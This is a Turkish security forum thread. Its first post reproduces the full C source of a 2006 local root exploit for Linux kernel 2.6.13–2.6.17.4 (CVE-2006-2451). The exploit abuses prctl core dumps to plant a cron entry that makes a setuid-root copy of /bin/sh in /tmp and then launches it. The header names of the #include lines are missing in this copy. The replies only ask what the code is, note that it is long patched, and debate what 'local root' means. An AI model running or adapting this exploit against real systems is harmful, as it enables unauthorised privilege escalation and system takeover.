folder Tahribat.com Forumları
linefolder Bilişim Güvenliği
linefolder Linux Kernel 2.6.13 <= 2.6.17.4 Sys_Prctl() Local Root Exploit



Linux Kernel 2.6.13 <= 2.6.17.4 Sys_Prctl() Local Root Exploit

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    gXgX
    gXgX's avatar
    Kayıt Tarihi: 04/Ağustos/2006
    Erkek
    Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl Local Root Exploit


    /*****************************************************/
    /* Local r00t Exploit for: */
    /* Linux Kernel PRCTL Core Dump Handling */
    /* ( BID 18874 / CVE-2006-2451 ) */
    /* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4
    /* By: */
    /* - dreyer (main PoC code) */
    /* - RoMaNSoFt (local root code) */
    /* [ 10.Jul.2006 ] */
    /*****************************************************/

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

    int main() {
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    printf("By: dreyer & RoMaNSoFt\n");
    printf("[ 10.Jul.2006 ]\n\n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("[*] Creating Cron entry\n");

    if ( !( child = fork() )) {
    chdir("/etc/cron.d");
    prctl(PR_SET_DUMPABLE, 2);
    sleep(200);
    exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
    system("/tmp/sh -i");
    }

    // milw0rm.com [2006-07-11]

  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tarantula
    Tarantula's avatar
    Kayıt Tarihi: 12/Temmuz/2006
    Erkek
    hoca bu ne?

    Olmayacak şeyler tasarlıyorum, işim bu..
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    polymorphic
    polymorphic's avatar
    Kayıt Tarihi: 16/Eylül/2005
    Erkek
    eskidi bu artik bildigim en dandik server bile patch etmis :)

    islemez...

    Real programmers can write assembly code in any language. :-)
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    All hail to Tux
    sandman
    sandman's avatar
    Kayıt Tarihi: 01/Eylül/2005
    Erkek
    linux 2.6 çekirdegine sahip bir pcde root şifresini almak... tabii bunu dışardan kullanamıyorsun eh pcnin başına oturduktan sonra root şifresini almak sorun olmamalı

    Mühendis kahveyi projeye dönüştüren bir insan evladıdır.
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    polymorphic
    polymorphic's avatar
    Kayıt Tarihi: 16/Eylül/2005
    Erkek
    local root diyor password disclosure demiyor her ikiside local pc basinda oturmadan root olabilirsin :)

    local ile remote exploit e bir daha goz at istersen :))

    Real programmers can write assembly code in any language. :-)
Toplam Hit: 11804 Toplam Mesaj: 5